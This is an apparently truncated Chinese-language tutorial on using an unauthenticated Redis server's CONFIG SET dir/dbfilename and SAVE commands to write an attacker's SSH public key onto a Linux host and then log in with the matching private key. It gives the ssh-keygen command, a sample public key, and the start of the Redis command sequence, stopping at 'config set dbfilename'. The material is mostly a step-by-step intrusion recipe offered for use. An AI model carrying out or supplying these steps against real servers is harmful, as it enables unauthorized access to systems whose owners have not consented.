利用Redis写文件权限进行ssh提权登陆linux的漏洞

原理

利用redis的config命令修改rdb文件地址为ssh密钥文件，向redis中写入公共密钥，通过save命令手动刷新到rdb中，此时就可以用私钥登陆了

操作

在本地电脑中（linux为例）生成无密码的密钥

ssh-keygen -t rsa -P ''    # 后面直接回车

此时在~/.ssh/下生成两个文件id_rsa和id_rsa.pub，id_rsa是私钥，id_rsa_pub是公钥，公钥文件内容如下：

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8

进入服务器的redis命令行，输入如下一系列命令(注意ssh-rsa内容前后要有回车符\n)：

config set dir /.ssh

config set dbfilename